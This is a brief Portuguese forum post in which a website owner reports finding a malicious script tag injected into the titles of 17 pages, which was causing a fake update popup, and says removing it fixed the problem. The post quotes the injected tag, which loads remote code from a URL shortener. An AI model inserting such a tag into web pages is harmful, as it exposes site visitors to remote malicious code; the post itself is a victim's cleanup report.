Bom dia amigos. Obrigado pela ajuda… encontrei um script no título de 17 páginas.
<script src=”https://is.gd/ob8vtI?v=v8.0″></script>
Na página HOME onde aparecia o aviso de atualização o tinha esse script.
Removi todos e nao apareceu mais o popup/virus